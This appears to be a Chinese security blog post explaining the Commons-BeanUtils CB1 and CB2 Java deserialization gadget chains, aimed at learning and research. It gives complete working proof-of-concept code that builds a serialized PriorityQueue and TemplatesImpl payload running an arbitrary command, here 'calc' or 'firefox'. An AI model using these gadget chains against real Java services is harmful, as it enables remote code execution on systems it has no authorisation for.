ORXIAIN ISLAND
博客 / BLOG POST
2025 - 2026
READING

JavaSec - CB

+

commons.beanutils

省流,用CB中的 PropertyUtils.getProperty()方法可以调用Bean类任意属性的getter的方法

下一步:看看shiro是怎么个事

CB1

各种JDK的镜像下载 Java 使用8u43 , pom.xml如下

<dependencies>  
    <dependency>  
        <groupId>commons-beanutils</groupId>  
        <artifactId>commons-beanutils</artifactId>  
        <version>1.8.3</version>  
    </dependency>  
    <dependency>  
        <groupId>commons-logging</groupId>  
        <artifactId>commons-logging</artifactId>  
        <version>1.2</version>  
    </dependency>  
    <dependency>  
        <groupId>javassist</groupId>  
        <artifactId>javassist</artifactId>  
        <version>3.12.0.GA</version>  
    </dependency>  
    <dependency>  
        <groupId>commons-collections</groupId>  
        <artifactId>commons-collections</artifactId>  
        <version>3.2.2</version>  
    </dependency> 
</dependencies>

POC

package com.orxiain;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import org.apache.commons.beanutils.BeanComparator;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.PriorityQueue;  
  
  
public class CB1 {  
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates, "_name", "b");  
        byte[] code = genPayload("calc");  
        byte[][] codes = {code};  
        setFieldValue(templates, "_bytecodes", codes);  
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
  
        BeanComparator comparator = new BeanComparator();  
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);  
        queue.add(1);  
        queue.add(2);  
  
        setFieldValue(queue,"queue",new Object[]{templates,templates}); 
        setFieldValue(comparator,"property","outputProperties");  
        serialize(queue);  
        unserialize("CB1.bin");  
    }  
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {  
        Class clazz=object.getClass();  
        Field declaredField=clazz.getDeclaredField(field_name);  
        declaredField.setAccessible(true);  
        declaredField.set(object,filed_value);  
    }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB1.bin"));  
        oos.writeObject(obj);  
    }  
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));  
        return ois.readObject();  
    }  
    public static byte[] genPayload(String cmd) throws Exception{  
        ClassPool pool = ClassPool.getDefault();  
        CtClass clazz = pool.makeClass("a");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";  
        System.out.println(sh);  
        constructor.setBody(sh);  
        clazz.addConstructor(constructor);  
        clazz.getClassFile().setMajorVersion(49);  
        return clazz.toBytecode();  
    }}

分析

来看看CB链1 先认识下 PropertyUtils.getProperty(),它可以运行任意 bean类的任何一个getter方法 如果现在有以下这样的bean

package com.orxiain.test;  
public class postModel {  
    public String date;  
    public String postname;  
  
    public postModel(String name) {  
        this.postname = name;  
    }    public String getDate() {  
        return date;  
    }  
    public String getPostname() {  
        System.out.printf(this.postname);  
        return postname;  
    }}

我们再创建一个该类的对象,并调用 getProperty方法

public class test {  
    public static void main(String[] args) throws Exception{  
        postModel post1 = new postModel("orxiain");  
        PropertyUtils.getProperty(post1,"postname");  
        //这里第一个参数是bean的对象,第二个是属性的名字字符串
    }}

得到如下结果,说明它调用了 getPostname这个方法 那么CB1主要就是利用了这个方法触发bean类的Get方法实现,什么Get方法可以被我们利用呢? CC2链所使用的 TemplatesImpl加载恶意字节码就可以

TemplatesImpl#getOutputProperties//就是这里的get
->TemplatesImpl#newTransformer->
TemplatesImpl#**getTransletInstance**->
TemplatesImpl#defineTransletClasses->
TransletClassLoader#defineClass

于是可以构造

        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates, "_name", "b");  
        byte[] code = genPayload("calc");  
        byte[][] codes = {code};  
        setFieldValue(templates, "_bytecodes", codes);  
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  

接下来,在 BeanComparator中,其 compare方法触发了 PropertyUtils.getProperty() 它是个比较器,可以放在 PriorityQueue中,也就是cc2链的利用链1的前半段 所以我们先获取到 BeanComparator的一个对象

BeanComparator comparator = new BeanComparator();

新建一个 PriorityQueue的对象,并输入我们获取的比较器和数量

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

先随便添加两个数据

queue.add(1);  
queue.add(2);

之后通过反射修改1,2为构造好的templates

setFieldValue(queue,"queue",new Object[]{templates,templates});  
setFieldValue(comparator,"property","outputProperties");

//方法
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {  
    Class clazz=object.getClass();  
    Field declaredField=clazz.getDeclaredField(field_name);  
    declaredField.setAccessible(true);  
    declaredField.set(object,filed_value);  
}

这样就将queue构造好的,之后对其反序列化即可

CB2

CB2的出现是为了绕过CB1对于CC组件的依赖,在第一次复现CB1时,就是因为缺失了CC导致了运行错误 在CB1的 BeanComparator comparator = new BeanComparator();中,因为没有指定比较器, 所以默认调用了CC组件的 ComparableComparator.getInstance()

为了在不存在CC组件的环境下利用CB链,我们需要找见一个继承了比较器和序列化接口的类,在参数中调用它的比较器 这样的类有很多:

链1

AttrCompare满足了这个条件: 修改 beancomparator类的声明方式:

BeanComparator comparator = new BeanComparator(null,new AttrCompare());

pom.xml中去除CC依赖之后依然可以RCE

POC

package com.orxiain;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import org.apache.commons.beanutils.BeanComparator;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.PriorityQueue;  
  
  
public class CB2 {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates, "_name", "b");  
        byte[] code = genPayload("firefox");  
        byte[][] codes = {code};  
        setFieldValue(templates, "_bytecodes", codes);  
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
  
        BeanComparator comparator = new BeanComparator(null,new AttrCompare());  
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2);//这里先不传入构造函数参数的比较器  
        setFieldValue(queue, "size", 2);  
        setFieldValue(queue, "comparator", comparator);  
        Object[] list = new Object[]{templates, 1};  
        setFieldValue(queue, "queue", list);  
  
        setFieldValue(comparator,"property","outputProperties");  
        //保证property属性不为空,让beancompare成功运行到PropertyUtils.getProperty()调用get方法  
  
        serialize(queue);  
        unserialize("CB2.bin");  
    }  
  
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {  
        Class clazz=object.getClass();  
        Field declaredField=clazz.getDeclaredField(field_name);  
        declaredField.setAccessible(true);  
        declaredField.set(object,filed_value);  
    }  
  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB2.bin"));  
        oos.writeObject(obj);  
    }  
  
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));  
        return ois.readObject();  
    }  

    public static byte[] genPayload(String cmd) throws Exception{  
    //生成恶意类
        ClassPool pool = ClassPool.getDefault();  
        CtClass clazz = pool.makeClass("a");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";  
        System.out.println(sh);  
        constructor.setBody(sh);  
        clazz.addConstructor(constructor);  
        clazz.getClassFile().setMajorVersion(49);  
        return clazz.toBytecode();  
  
    }  
}

链2

也可以使用:

BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

在上面的poc中直接替换即可

Links

https://okaytc.github.io/posts/638f8ee9.html#0x04%E3%80%81CB2%E5%88%86%E6%9E%90 https://www.cnblogs.com/zpchcbd/p/14957034.html

END